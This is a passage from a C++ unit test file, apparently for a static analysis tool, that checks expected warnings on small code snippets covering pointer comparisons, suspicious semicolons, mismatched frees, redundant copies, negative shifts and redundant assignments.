errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n 